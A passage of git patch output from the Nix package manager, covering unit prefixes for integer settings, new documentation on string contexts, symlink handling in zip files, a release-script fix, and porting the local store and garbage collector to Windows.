ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; args = \"foo\"; }", + ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; args = \"foo\"; }", TypeError, HintFmt("expected a list but found %s: %s", "a string", "\"foo\""), - HintFmt("while evaluating the attribute 'args' of derivation 'foo'")); + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "args", "foo")); - ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; args = [ {} ]; }", + ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; args = [ {} ]; }", TypeError, - HintFmt("cannot coerce %s to a string: %s", "a set", "{ }"), - HintFmt("while evaluating an element of the argument list")); + HintFmt("cannot coerce %s to a string: { }", "a set"), + HintFmt("while evaluating an element of the argument list"), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "args", "foo")); - ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; args = [ \"a\" {} ]; }", + ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; args = [ \"a\" {} ]; }", TypeError, - HintFmt("cannot coerce %s to a string: %s", "a set", "{ }"), - HintFmt("while evaluating an element of the argument list")); + HintFmt("cannot coerce %s to a string: { }", "a set"), + HintFmt("while evaluating an element of the argument list"), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "args", "foo")); - ASSERT_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; FOO = {}; }", + ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; FOO = {}; }", TypeError, - HintFmt("cannot coerce %s to a string: %s", "a set", "{ }"), - HintFmt("while evaluating the attribute 'FOO' of derivation 'foo'")); - + HintFmt("cannot coerce %s to a string: { }", "a set"), + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "FOO", "foo")); } - */ } /* namespace nix */ From 79c7d6205c2f06cb2f0c00ea5cdfbdad5b7befa4 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Thu, 16 Feb 2023 15:16:30 +0100 Subject: [PATCH 0572/1251] Support unit prefixes in configuration settings E.g. you can now say `--min-free 1G`. --- doc/manual/src/command-ref/conf-file-prefix.md | 7 +++++++ src/libutil/config-impl.hh | 7 ++++--- tests/functional/config.sh | 7 ++++++- tests/functional/gc-auto.sh | 4 ++-- 4 files changed, 19 insertions(+), 6 deletions(-) diff --git a/doc/manual/src/command-ref/conf-file-prefix.md b/doc/manual/src/command-ref/conf-file-prefix.md index 1e4085977..627806cfb 100644 --- a/doc/manual/src/command-ref/conf-file-prefix.md +++ b/doc/manual/src/command-ref/conf-file-prefix.md @@ -66,5 +66,12 @@ Configuration options can be set on the command line, overriding the values set The `extra-` prefix is supported for settings that take a list of items (e.g. `--extra-trusted users alice` or `--option extra-trusted-users alice`). +## Integer settings + +Settings that have an integer type support the suffixes `K`, `M`, `G` +and `T`. These cause the specified value to be multiplied by 2^10, +2^20, 2^30 and 2^40, respectively. For instance, `--min-free 1M` is +equivalent to `--min-free 1048576`. + # Available settings diff --git a/src/libutil/config-impl.hh b/src/libutil/config-impl.hh index 1da0cb638..1d349fab5 100644 --- a/src/libutil/config-impl.hh +++ b/src/libutil/config-impl.hh @@ -116,10 +116,11 @@ T BaseSetting::parse(const std::string & str) const { static_assert(std::is_integral::value, "Integer required."); - if (auto n = string2Int(str)) - return *n; - else + try { + return string2IntWithUnitPrefix(str); + } catch (...) { throw UsageError("setting '%s' has invalid value '%s'", name, str); + } } template diff --git a/tests/functional/config.sh b/tests/functional/config.sh index efdf2a958..efdafa8ca 100644 --- a/tests/functional/config.sh +++ b/tests/functional/config.sh @@ -66,4 +66,9 @@ exp_features=$(nix config show | grep '^experimental-features' | cut -d '=' -f 2 # Test that it's possible to retrieve a single setting's value val=$(nix config show | grep '^warn-dirty' | cut -d '=' -f 2 | xargs) val2=$(nix config show warn-dirty) -[[ $val == $val2 ]] \ No newline at end of file +[[ $val == $val2 ]] + +# Test unit prefixes. +[[ $(nix config show --min-free 64K min-free) = 65536 ]] +[[ $(nix config show --min-free 1M min-free) = 1048576 ]] +[[ $(nix config show --min-free 2G min-free) = 2147483648 ]] diff --git a/tests/functional/gc-auto.sh b/tests/functional/gc-auto.sh index 521d9e539..281eef20d 100644 --- a/tests/functional/gc-auto.sh +++ b/tests/functional/gc-auto.sh @@ -62,11 +62,11 @@ EOF ) nix build --impure -v -o $TEST_ROOT/result-A -L --expr "$expr" \ - --min-free 1000 --max-free 2000 --min-free-check-interval 1 & + --min-free 1K --max-free 2K --min-free-check-interval 1 & pid1=$! nix build --impure -v -o $TEST_ROOT/result-B -L --expr "$expr2" \ - --min-free 1000 --max-free 2000 --min-free-check-interval 1 & + --min-free 1K --max-free 2K --min-free-check-interval 1 & pid2=$! # Once the first build is done, unblock the second one. From 77a406a5a68d6f5fdd18629f7e2ce19bc21ec0ca Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Thu, 16 Feb 2023 17:31:20 +0100 Subject: [PATCH 0573/1251] Fix warning --- src/libutil/util.hh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libutil/util.hh b/src/libutil/util.hh index 11a0431da..8b049875a 100644 --- a/src/libutil/util.hh +++ b/src/libutil/util.hh @@ -120,7 +120,7 @@ std::optional string2Int(const std::string_view s) template N string2IntWithUnitPrefix(std::string_view s) { - N multiplier = 1; + uint64_t multiplier = 1; if (!s.empty()) { char u = std::toupper(*s.rbegin()); if (std::isalpha(u)) { From b5605217ae7c3c29dbf887ffdf4e72b176f535b3 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 8 May 2024 17:14:00 -0400 Subject: [PATCH 0574/1251] Document string context (#8595) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Document string context Now what we have enough primops, we can document how string contexts work. Co-authored-by: Robert Hensing Co-authored-by: Théophane Hufschmitt <7226587+thufschmitt@users.noreply.github.com> Co-authored-by: Valentin Gagarin Co-authored-by: Felix Uhl --- doc/manual/src/SUMMARY.md.in | 1 + doc/manual/src/glossary.md | 11 ++ doc/manual/src/language/string-context.md | 134 ++++++++++++++++++++++ src/libexpr/primops/context.cc | 19 ++- 4 files changed, 161 insertions(+), 4 deletions(-) create mode 100644 doc/manual/src/language/string-context.md diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in index c64c1daad..fdfd0a927 100644 --- a/doc/manual/src/SUMMARY.md.in +++ b/doc/manual/src/SUMMARY.md.in @@ -27,6 +27,7 @@ - [Language Constructs](language/constructs.md) - [String interpolation](language/string-interpolation.md) - [Lookup path](language/constructs/lookup-path.md) + - [String context](language/string-context.md) - [Operators](language/operators.md) - [Derivations](language/derivations.md) - [Advanced Attributes](language/advanced-attributes.md) diff --git a/doc/manual/src/glossary.md b/doc/manual/src/glossary.md index 88916bb50..cbffda187 100644 --- a/doc/manual/src/glossary.md +++ b/doc/manual/src/glossary.md @@ -218,6 +218,17 @@ - [output closure]{#gloss-output-closure}\ The [closure] of an [output path]. It only contains what is [reachable] from the output. +- [deriving path]{#gloss-deriving-path} + + Deriving paths are a way to refer to [store objects][store object] that ar not yet [realised][realise]. + This is necessary because, in general and particularly for [content-addressed derivations][content-addressed derivation], the [output path] of an [output] is not known in advance. + There are two forms: + + - *constant*: just a [store path] + It can be made [valid][validity] by copying it into the store: from the evaluator, command line interface or another store. + + - *output*: a pair of a [store path] to a [derivation] and an [output] name. + - [deriver]{#gloss-deriver} The [store derivation] that produced an [output path]. diff --git a/doc/manual/src/language/string-context.md b/doc/manual/src/language/string-context.md new file mode 100644 index 000000000..88ae0d8b0 --- /dev/null +++ b/doc/manual/src/language/string-context.md @@ -0,0 +1,134 @@ +# String context + +> **Note** +> +> This is an advanced topic. +> The Nix language is designed to be used without the programmer consciously dealing with string contexts or even knowing what they are. + +A string in the Nix language is not just a sequence of characters like strings in other languages. +It is actually a pair of a sequence of characters and a *string context*. +The string context is an (unordered) set of *string context elements*. + +The purpose of string contexts is to collect non-string values attached to strings via +[string concatenation](./operators.md#string-concatenation), +[string interpolation](./string-interpolation.md), +and similar operations. +The idea is that a user can combine together values to create a build instructions for derivations without manually keeping track of where they come from. +Then the Nix language implicitly does that bookkeeping to efficiently obtain the closure of derivation inputs. + +> **Note** +> +> String contexts are *not* explicitly manipulated in idiomatic Nix language code. + +String context elements come in different forms: + +- [deriving path]{#string-context-element-derived-path} + + A string context element of this type is a [deriving path](@docroot@/glossary.md#gloss-deriving-path). + They can be either of type [constant](#string-context-constant) or [output](#string-context-output), which correspond to the types of deriving paths. + + - [Constant string context elements]{#string-context-constant} + + > **Example** + > + > [`builtins.storePath`] creates a string with a single constant string context element: + > + > ```nix + > builtins.getContext (builtins.storePath "/nix/store/wkhdf9jinag5750mqlax6z2zbwhqb76n-hello-2.10") + > ``` + > evaluates to + > ```nix + > { + > "/nix/store/wkhdf9jinag5750mqlax6z2zbwhqb76n-hello-2.10" = { + > path = true; + > }; + > } + > ``` + + [deriving path]: @docroot@/glossary.md#gloss-deriving-path + [store path]: @docroot@/glossary.md#gloss-store-path + [`builtins.storePath`]: ./builtins.md#builtins-storePath + + - [Output string context elements]{#string-context-output} + + > **Example** + > + > The behavior of string contexts are best demonstrated with a built-in function that is still experimental: [`builtins.outputOf`]. + > This example will *not* work with stable Nix! + > + > ```nix + > builtins.getContext + > (builtins.outputOf + > (builtins.storePath "/nix/store/fvchh9cvcr7kdla6n860hshchsba305w-hello-2.12.drv") + > "out") + > ``` + > evaluates to + > ```nix + > { + > "/nix/store/fvchh9cvcr7kdla6n860hshchsba305w-hello-2.12.drv" = { + > outputs = [ "out" ]; + > }; + > } + > ``` + + [`builtins.outputOf`]: ./builtins.md#builtins-outputOf + +- [*derivation deep*]{#string-context-element-derivation-deep} + + *derivation deep* is an advanced feature intended to be used with the + [`exportReferencesGraph` derivation attribute](./advanced-attributes.html#adv-attr-exportReferencesGraph). + A *derivation deep* string context element is a derivation path, and refers to both its outputs and the entire build closure of that derivation: + all its outputs, all the other derivations the given derivation depends on, and all the outputs of those. + + > **Example** + > + > The best way to illustrate *derivation deep* string contexts is with [`builtins.addDrvOutputDependencies`]. + > Take a regular constant string context element pointing to a derivation, and transform it into a "Derivation deep" string context element. + > + > ```nix + > builtins.getContext + > (builtins.addDrvOutputDependencies + > (builtins.storePath "/nix/store/fvchh9cvcr7kdla6n860hshchsba305w-hello-2.12.drv")) + > ``` + > evaluates to + > ```nix + > { + > "/nix/store/fvchh9cvcr7kdla6n860hshchsba305w-hello-2.12.drv" = { + > allOutputs = true; + > }; + > } + > ``` + + [`builtins.addDrvOutputDependencies`]: ./builtins.md#builtins-addDrvOutputDependencies + [`builtins.unsafeDiscardOutputDependency`]: ./builtins.md#builtins-unsafeDiscardOutputDependency + +## Inspecting string contexts + +Most basically, [`builtins.hasContext`] will tell whether a string has a non-empty context. + +When more granular information is needed, [`builtins.getContext`] can be used. +It creates an [attribute set] representing the string context, which can be inspected as usual. + +[`builtins.hasContext`]: ./builtins.md#builtins-hasContext +[`builtins.getContext`]: ./builtins.md#builtins-getContext +[attribute set]: ./values.md#attribute-set + +## Clearing string contexts + +[`buitins.unsafeDiscardStringContext`](./builtins.md#builtins-unsafeDiscardStringContext) will make a copy of a string, but with an empty string context. +The returned string can be used in more ways, e.g. by operators that require the string context to be empty. +The requirement to explicitly discard the string context in such use cases helps ensure that string context elements are not lost by mistake. +The "unsafe" marker is only there to remind that Nix normally guarantees that dependencies are tracked, whereas the returned string has lost them. + +## Constructing string contexts + +[`builtins.appendContext`] will create a copy of a string, but with additional string context elements. +The context is specified explicitly by an [attribute set] in the format that [`builtins.hasContext`] produces. +A string with arbitrary contexts can be made like this: + +1. Create a string with the desired string context elements. + (The contents of the string do not matter.) +2. Dump its context with [`builtins.getContext`]. +3. Combine it with a base string and repeated [`builtins.appendContext`] calls. + +[`builtins.appendContext`]: ./builtins.md#builtins-appendContext diff --git a/src/libexpr/primops/context.cc b/src/libexpr/primops/context.cc index 2d3013132..8c3f1b4e8 100644 --- a/src/libexpr/primops/context.cc +++ b/src/libexpr/primops/context.cc @@ -14,8 +14,11 @@ static void prim_unsafeDiscardStringContext(EvalState & state, const PosIdx pos, static RegisterPrimOp primop_unsafeDiscardStringContext({ .name = "__unsafeDiscardStringContext", - .arity = 1, - .fun = prim_unsafeDiscardStringContext + .args = {"s"}, + .doc = R"( + Discard the [string context](@docroot@/language/string-context.md) from a value that can be coerced to a string. + )", + .fun = prim_unsafeDiscardStringContext, }); @@ -75,7 +78,11 @@ static RegisterPrimOp primop_unsafeDiscardOutputDependency({ .name = "__unsafeDiscardOutputDependency", .args = {"s"}, .doc = R"( - Create a copy of the given string where every "derivation deep" string context element is turned into a constant string context element. + Create a copy of the given string where every + [derivation deep](@docroot@/language/string-context.md#string-context-element-derivation-deep) + string context element is turned into a + [constant](@docroot@/language/string-context.md#string-context-element-constant) + string context element. This is the opposite of [`builtins.addDrvOutputDependencies`](#builtins-addDrvOutputDependencies). @@ -137,7 +144,11 @@ static RegisterPrimOp primop_addDrvOutputDependencies({ .name = "__addDrvOutputDependencies", .args = {"s"}, .doc = R"( - Create a copy of the given string where a single constant string context element is turned into a "derivation deep" string context element. + Create a copy of the given string where a single + [constant](@docroot@/language/string-context.md#string-context-element-constant) + string context element is turned into a + [derivation deep](@docroot@/language/string-context.md#string-context-element-derivation-deep) + string context element. The store path that is the constant string context element should point to a valid derivation, and end in `.drv`. From 9951e14ae085c818a11e28c0d530a111c1e2ab86 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Thu, 9 May 2024 19:33:09 +0200 Subject: [PATCH 0575/1251] Handle zip files containing symlinks In streaming mode, libarchive doesn't handle symlinks in zip files correctly. So write the entire file to disk so libarchive can access it in random-access mode. Fixes #10649. This was broken in cabee9815239af426cece729cb765810b8a716ce. --- src/libfetchers/tarball.cc | 20 +++++++++++++++++++- tests/functional/flakes/prefetch.sh | 6 ++++++ tests/functional/flakes/tree.zip | Bin 0 -> 455 bytes tests/functional/local.mk | 1 + 4 files changed, 26 insertions(+), 1 deletion(-) create mode 100644 tests/functional/flakes/prefetch.sh create mode 100644 tests/functional/flakes/tree.zip diff --git a/src/libfetchers/tarball.cc b/src/libfetchers/tarball.cc index e19b18505..d03ff82ce 100644 --- a/src/libfetchers/tarball.cc +++ b/src/libfetchers/tarball.cc @@ -145,9 +145,27 @@ DownloadTarballResult downloadTarball( // TODO: fall back to cached value if download fails. + AutoDelete cleanupTemp; + /* Note: if the download is cached, `importTarball()` will receive no data, which causes it to import an empty tarball. */ - TarArchive archive { *source }; + auto archive = + hasSuffix(toLower(parseURL(url).path), ".zip") + ? ({ + /* In streaming mode, libarchive doesn't handle + symlinks in zip files correctly (#10649). So write + the entire file to disk so libarchive can access it + in random-access mode. */ + auto [fdTemp, path] = createTempFile("nix-zipfile"); + cleanupTemp.reset(path); + debug("downloading '%s' into '%s'...", url, path); + { + FdSink sink(fdTemp.get()); + source->drainInto(sink); + } + TarArchive{path}; + }) + : TarArchive{*source}; auto parseSink = getTarballCache()->getFileSystemObjectSink(); auto lastModified = unpackTarfileToSink(archive, *parseSink); diff --git a/tests/functional/flakes/prefetch.sh b/tests/functional/flakes/prefetch.sh new file mode 100644 index 000000000..bfd0533f9 --- /dev/null +++ b/tests/functional/flakes/prefetch.sh @@ -0,0 +1,6 @@ +source common.sh + +# Test symlinks in zip files (#10649). +path=$(nix flake prefetch --json file://$(pwd)/tree.zip | jq -r .storePath) +[[ $(cat $path/foo) = foo ]] +[[ $(readlink $path/bar) = foo ]] diff --git a/tests/functional/flakes/tree.zip b/tests/functional/flakes/tree.zip new file mode 100644 index 0000000000000000000000000000000000000000..f9e4d225fe04d51a8fed588cb94352bece51efe9 GIT binary patch literal 455 zcmWIWW@h1H0D(ufD3m;6LW?X)e0GSR10t{~*K{V87tPr1J_zGeac7H*PVgwqpq|qK`6xf$Q t(?Gt&VH(I Date: Fri, 10 May 2024 11:31:36 +0200 Subject: [PATCH 0576/1251] Die rather than warn if a Docker image is missing The warning was done to handle older Nix releases that didn't have Docker images (091f2328962fccfd71602b0b7c072c8d08291c86), but this was a bad idea because it causes us to silently skip uploading Docker images if e.g. Hydra hasn't finished building them yet. Issue #10648. --- maintainers/upload-release.pl | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/maintainers/upload-release.pl b/maintainers/upload-release.pl index 9a30f8227..9e73524a6 100755 --- a/maintainers/upload-release.pl +++ b/maintainers/upload-release.pl @@ -189,10 +189,7 @@ for my $platforms (["x86_64-linux", "amd64"], ["aarch64-linux", "arm64"]) { eval { downloadFile("dockerImage.$system", "1", $fn); }; - if ($@) { - warn "$@" if $@; - next; - } + die "$@" if $@; $haveDocker = 1; print STDERR "loading docker image for $dockerPlatform...\n"; From 0998a3ac01fdbd30cbb803eae9d8c6a73b8edb11 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Fri, 10 May 2024 09:39:04 -0400 Subject: [PATCH 0577/1251] Remove `LocalStore::OptimiseStats::blocksFreed` as it is dead code --- src/libstore/unix/local-store.hh | 1 - src/libstore/unix/optimise-store.cc | 1 - 2 files changed, 2 deletions(-) diff --git a/src/libstore/unix/local-store.hh b/src/libstore/unix/local-store.hh index 2b6e2e25f..b3d7bd6d0 100644 --- a/src/libstore/unix/local-store.hh +++ b/src/libstore/unix/local-store.hh @@ -32,7 +32,6 @@ struct OptimiseStats { unsigned long filesLinked = 0; uint64_t bytesFreed = 0; - uint64_t blocksFreed = 0; }; struct LocalStoreConfig : virtual LocalFSStoreConfig diff --git a/src/libstore/unix/optimise-store.cc b/src/libstore/unix/optimise-store.cc index bedb77849..17b8e4d92 100644 --- a/src/libstore/unix/optimise-store.cc +++ b/src/libstore/unix/optimise-store.cc @@ -256,7 +256,6 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats, stats.filesLinked++; stats.bytesFreed += st.st_size; - stats.blocksFreed += st.st_blocks; if (act) act->result(resFileLinked, st.st_size, st.st_blocks); From e0ff8da9d585d7a3ea6be6ec4b0506dc5d7cc03c Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 18 Apr 2024 17:49:17 -0400 Subject: [PATCH 0578/1251] Build the local store on Windows Fixes #10558 Co-Authored-By: Eugene Butler Co-authored-by: Eelco Dolstra --- maintainers/flake-module.nix | 12 +-- src/libfetchers/cache.cc | 2 +- .../{unix => }/ca-specific-schema.sql | 0 src/libstore/{unix => }/gc.cc | 88 ++++++++++++------- src/libstore/globals.hh | 2 + src/libstore/{unix => }/local-store.cc | 74 ++++++++++------ src/libstore/{unix => }/local-store.hh | 0 src/libstore/{unix => }/local-store.md | 0 src/libstore/local.mk | 4 +- src/libstore/{unix => }/optimise-store.cc | 75 ++++++++-------- .../{unix => }/posix-fs-canonicalise.cc | 40 +++++++-- .../{unix => }/posix-fs-canonicalise.hh | 12 ++- src/libstore/{unix => }/schema.sql | 0 src/libstore/store-api.cc | 18 +--- src/libstore/unix/build/derivation-goal.cc | 26 ------ src/libutil/file-system.cc | 2 +- src/libutil/file-system.hh | 5 ++ src/libutil/unix-domain-socket.hh | 1 + src/libutil/unix/file-system.cc | 10 +++ src/libutil/windows/file-system.cc | 12 +++ 20 files changed, 228 insertions(+), 155 deletions(-) rename src/libstore/{unix => }/ca-specific-schema.sql (100%) rename src/libstore/{unix => }/gc.cc (94%) rename src/libstore/{unix => }/local-store.cc (97%) rename src/libstore/{unix => }/local-store.hh (100%) rename src/libstore/{unix => }/local-store.md (100%) rename src/libstore/{unix => }/optimise-store.cc (80%) rename src/libstore/{unix => }/posix-fs-canonicalise.cc (89%) rename src/libstore/{unix => }/posix-fs-canonicalise.hh (85%) rename src/libstore/{unix => }/schema.sql (100%) create mode 100644 src/libutil/unix/file-system.cc create mode 100644 src/libutil/windows/file-system.cc diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index fdac87be3..351a01fcb 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -241,17 +241,17 @@ ''^src/libstore/unix/build/worker\.hh$'' ''^src/libstore/unix/builtins/fetchurl\.cc$'' ''^src/libstore/unix/builtins/unpack-channel\.cc$'' - ''^src/libstore/unix/gc\.cc$'' + ''^src/libstore/gc\.cc$'' ''^src/libstore/unix/local-overlay-store\.cc$'' ''^src/libstore/unix/local-overlay-store\.hh$'' - ''^src/libstore/unix/local-store\.cc$'' - ''^src/libstore/unix/local-store\.hh$'' + ''^src/libstore/local-store\.cc$'' + ''^src/libstore/local-store\.hh$'' ''^src/libstore/unix/lock\.cc$'' ''^src/libstore/unix/lock\.hh$'' - ''^src/libstore/unix/optimise-store\.cc$'' + ''^src/libstore/optimise-store\.cc$'' ''^src/libstore/unix/pathlocks\.cc$'' - ''^src/libstore/unix/posix-fs-canonicalise\.cc$'' - ''^src/libstore/unix/posix-fs-canonicalise\.hh$'' + ''^src/libstore/posix-fs-canonicalise\.cc$'' + ''^src/libstore/posix-fs-canonicalise\.hh$'' ''^src/libstore/uds-remote-store\.cc$'' ''^src/libstore/uds-remote-store\.hh$'' ''^src/libstore/windows/build\.cc$'' diff --git a/src/libfetchers/cache.cc b/src/libfetchers/cache.cc index 87a8e4702..7019b0325 100644 --- a/src/libfetchers/cache.cc +++ b/src/libfetchers/cache.cc @@ -109,7 +109,7 @@ struct CacheImpl : Cache Key key, Store & store, Attrs value, - const StorePath & storePath) + const StorePath & storePath) override { /* Add the store prefix to the cache key to handle multiple store prefixes. */ diff --git a/src/libstore/unix/ca-specific-schema.sql b/src/libstore/ca-specific-schema.sql similarity index 100% rename from src/libstore/unix/ca-specific-schema.sql rename to src/libstore/ca-specific-schema.sql diff --git a/src/libstore/unix/gc.cc b/src/libstore/gc.cc similarity index 94% rename from src/libstore/unix/gc.cc rename to src/libstore/gc.cc index 38cbf12b2..3cd4fb839 100644 --- a/src/libstore/unix/gc.cc +++ b/src/libstore/gc.cc @@ -7,7 +7,7 @@ #if !defined(__linux__) // For shelling out to lsof -# include "processes.hh" +# include "processes.hh" #endif #include @@ -19,18 +19,20 @@ #include #include #include -#include -#include #include -#include +#if HAVE_STATVFS +# include +#endif +#ifndef _WIN32 +# include +# include +# include +#endif #include -#include #include namespace nix { -using namespace nix::unix; - static std::string gcSocketPath = "/gc-socket/socket"; static std::string gcRootsDir = "gcroots"; @@ -64,7 +66,7 @@ void LocalStore::createTempRootsFile() /* Check whether the garbage collector didn't get in our way. */ struct stat st; - if (fstat(fdTempRoots->get(), &st) == -1) + if (fstat(fromDescriptorReadOnly(fdTempRoots->get()), &st) == -1) throw SysError("statting '%1%'", fnTempRoots); if (st.st_size == 0) break; @@ -108,7 +110,7 @@ void LocalStore::addTempRoot(const StorePath & path) debug("connecting to '%s'", socketPath); *fdRootsSocket = createUnixDomainSocket(); try { - nix::connect(fdRootsSocket->get(), socketPath); + nix::connect(toSocket(fdRootsSocket->get()), socketPath); } catch (SysError & e) { /* The garbage collector may have exited or not created the socket yet, so we need to restart. */ @@ -166,12 +168,16 @@ void LocalStore::findTempRoots(Roots & tempRoots, bool censor) // those to keep the directory alive. continue; } - Path path = i.path(); + Path path = i.path().string(); pid_t pid = std::stoi(name); debug("reading temporary root file '%1%'", path); - AutoCloseFD fd(open(path.c_str(), O_CLOEXEC | O_RDWR, 0666)); + AutoCloseFD fd(toDescriptor(open(path.c_str(), +#ifndef _WIN32 + O_CLOEXEC | +#endif + O_RDWR, 0666))); if (!fd) { /* It's okay if the file has disappeared. */ if (errno == ENOENT) continue; @@ -240,8 +246,7 @@ void LocalStore::findRoots(const Path & path, std::filesystem::file_type type, R unlink(path.c_str()); } } else { - struct stat st2 = lstat(target); - if (!S_ISLNK(st2.st_mode)) return; + if (!std::filesystem::is_symlink(target)) return; Path target2 = readLink(target); if (isInStore(target2)) foundRoot(target, target2); } @@ -297,24 +302,25 @@ Roots LocalStore::findRoots(bool censor) return roots; } -typedef std::unordered_map> UncheckedRoots; +/** + * Key is a mere string because cannot has path with macOS's libc++ + */ +typedef std::unordered_map> UncheckedRoots; -static void readProcLink(const std::string & file, UncheckedRoots & roots) +static void readProcLink(const std::filesystem::path & file, UncheckedRoots & roots) { - constexpr auto bufsiz = PATH_MAX; - char buf[bufsiz]; - auto res = readlink(file.c_str(), buf, bufsiz); - if (res == -1) { - if (errno == ENOENT || errno == EACCES || errno == ESRCH) + std::filesystem::path buf; + try { + buf = std::filesystem::read_symlink(file); + } catch (std::filesystem::filesystem_error & e) { + if (e.code() == std::errc::no_such_file_or_directory + || e.code() == std::errc::permission_denied + || e.code() == std::errc::no_such_process) return; - throw SysError("reading symlink"); + throw; } - if (res == bufsiz) { - throw Error("overly long symlink starting with '%1%'", std::string_view(buf, bufsiz)); - } - if (res > 0 && buf[0] == '/') - roots[std::string(static_cast(buf), res)] - .emplace(file); + if (buf.is_absolute()) + roots[buf.string()].emplace(file.string()); } static std::string quoteRegexChars(const std::string & raw) @@ -371,12 +377,12 @@ void LocalStore::findRuntimeRoots(Roots & roots, bool censor) } fdDir.reset(); - auto mapFile = fmt("/proc/%s/maps", ent->d_name); - auto mapLines = tokenizeString>(readFile(mapFile), "\n"); + std::filesystem::path mapFile = fmt("/proc/%s/maps", ent->d_name); + auto mapLines = tokenizeString>(readFile(mapFile.string()), "\n"); for (const auto & line : mapLines) { auto match = std::smatch{}; if (std::regex_match(line, match, mapRegex)) - unchecked[match[1]].emplace(mapFile); + unchecked[match[1]].emplace(mapFile.string()); } auto envFile = fmt("/proc/%s/environ", ent->d_name); @@ -407,7 +413,7 @@ void LocalStore::findRuntimeRoots(Roots & roots, bool censor) for (const auto & line : lsofLines) { std::smatch match; if (std::regex_match(line, match, lsofRegex)) - unchecked[match[1]].emplace("{lsof}"); + unchecked[match[1].str()].emplace("{lsof}"); } } catch (ExecError & e) { /* lsof not installed, lsof failed */ @@ -490,6 +496,10 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) createDirs(dirOf(socketPath)); auto fdServer = createUnixDomainSocket(socketPath, 0666); + // TODO nonblocking socket on windows? +#ifdef _WIN32 + throw UnimplementedError("External GC client not implemented yet"); +#else if (fcntl(fdServer.get(), F_SETFL, fcntl(fdServer.get(), F_GETFL) | O_NONBLOCK) == -1) throw SysError("making socket '%1%' non-blocking", socketPath); @@ -590,6 +600,8 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) if (serverThread.joinable()) serverThread.join(); }); +#endif + /* Find the roots. Since we've grabbed the GC lock, the set of permanent roots cannot increase now. */ printInfo("finding garbage collector roots..."); @@ -623,8 +635,8 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) by another process. We need to be sure that we can acquire an exclusive lock before deleting them. */ if (baseName.find("tmp-", 0) == 0) { - AutoCloseFD tmpDirFd = open(realPath.c_str(), O_RDONLY | O_DIRECTORY); - if (tmpDirFd.get() == -1 || !lockFile(tmpDirFd.get(), ltWrite, false)) { + AutoCloseFD tmpDirFd = openDirectory(realPath); + if (!tmpDirFd || !lockFile(tmpDirFd.get(), ltWrite, false)) { debug("skipping locked tempdir '%s'", realPath); return; } @@ -857,7 +869,13 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) struct stat st; if (stat(linksDir.c_str(), &st) == -1) throw SysError("statting '%1%'", linksDir); - int64_t overhead = st.st_blocks * 512ULL; + int64_t overhead = +#ifdef _WIN32 + 0 +#else + st.st_blocks * 512ULL +#endif + ; printInfo("note: currently hard linking saves %.2f MiB", ((unsharedSize - actualSize - overhead) / (1024.0 * 1024.0))); @@ -870,6 +888,7 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) void LocalStore::autoGC(bool sync) { +#ifdef HAVE_STATVFS static auto fakeFreeSpaceFile = getEnv("_NIX_TEST_FREE_SPACE_FILE"); auto getAvail = [this]() -> uint64_t { @@ -946,6 +965,7 @@ void LocalStore::autoGC(bool sync) sync: // Wait for the future outside of the state lock. if (sync) future.get(); +#endif } diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh index 0c71a7515..108933422 100644 --- a/src/libstore/globals.hh +++ b/src/libstore/globals.hh @@ -424,8 +424,10 @@ public: Setting useSQLiteWAL{this, !isWSL1(), "use-sqlite-wal", "Whether SQLite should use WAL mode."}; +#ifndef _WIN32 Setting syncBeforeRegistering{this, false, "sync-before-registering", "Whether to call `sync()` before registering a path as valid."}; +#endif Setting useSubstitutes{ this, true, "substitute", diff --git a/src/libstore/unix/local-store.cc b/src/libstore/local-store.cc similarity index 97% rename from src/libstore/unix/local-store.cc rename to src/libstore/local-store.cc index f33d92717..800e69309 100644 --- a/src/libstore/unix/local-store.cc +++ b/src/libstore/local-store.cc @@ -26,7 +26,6 @@ #include #include #include -#include #include #include #include @@ -34,17 +33,20 @@ #include #include #include -#include + +#ifndef _WIN32 +# include +#endif #if __linux__ -#include -#include -#include -#include +# include +# include +# include +# include #endif #ifdef __CYGWIN__ -#include +# include #endif #include @@ -52,8 +54,6 @@ namespace nix { -using namespace nix::unix; - std::string LocalStoreConfig::doc() { return @@ -224,6 +224,7 @@ LocalStore::LocalStore(const Params & params) } } +#ifndef _WIN32 /* Optionally, create directories and set permissions for a multi-user install. */ if (isRootUser() && settings.buildUsersGroup != "") { @@ -245,6 +246,7 @@ LocalStore::LocalStore(const Params & params) } } } +#endif /* Ensure that the store and its parents are not symlinks. */ if (!settings.allowSymlinkedStore) { 